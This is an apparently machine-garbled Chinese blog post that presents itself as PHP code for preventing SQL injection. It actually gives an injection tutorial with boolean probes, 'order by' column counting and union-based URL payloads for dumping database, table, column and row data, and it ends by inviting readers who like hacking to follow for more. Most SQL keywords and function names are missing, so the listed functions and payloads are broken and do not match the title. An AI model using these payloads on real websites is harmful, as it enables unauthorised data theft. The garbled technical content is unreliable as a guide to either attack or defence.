网站安全之php防止注入攻击代码 一1.注入原理sql注入漏洞产生的原理(图)防止sql注入 php
2022-12-25
一
1、注射原理
sql注入漏洞的原理是服务器没有严格过滤用户输入的参数网站安全之php防止注入攻击代码,将包含恶意代码的参数代入数据库查询语句中执行。
二、sql注入常用的函数和语法
显示所有查询结果,占用一个显示空间
():
查询版本
():
查询数据库用户名
用户():
查询数据库名称
():
查询数据库的绝对路径
@@():
@@:查询操作系统版本
():查询当前用户
by:要查找的列数
:联合查询(联合查询的条件是不能查询到前一条语句且字段数与上一条语句查询字段数相同)
:限制显示个数(例如:0 2表示从第一个开始显示两个)
3.注入实例
环境:win7+
部分代码实现(文件保存为sql.php)
数据库代码
测试; // 创建数据库测试
(id int, 名称 (10), (15)); // 创建表
进入(1网站模板,'哈哈','哈哈');
into(2,'xixi','xixi'); //插入数据
数字型:and 1=1;and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% ; 关键字%' and 1=2 and '%'='%
?id=1' order by 3 --+ //判断字段数
?id=-1' 1,(),3 来自 . --+
要么
?id=-1' 1,( from . 0,1),3 --+ // 爆库
?id=-1' 1,( from .='数据库名' 0,1),3 --+ //爆表
?id=-1' 1,( from . ='数据库名' and ='表名' 0,1),3 --+ // 爆字段
?id=-1' 1, ( from . 0,1), 3 --+ // 突发数据
喜欢黑客技术的可以关注我网站安全之php防止注入攻击代码网站制作,
每天都会发布相应的教程
谢谢大家~~~~~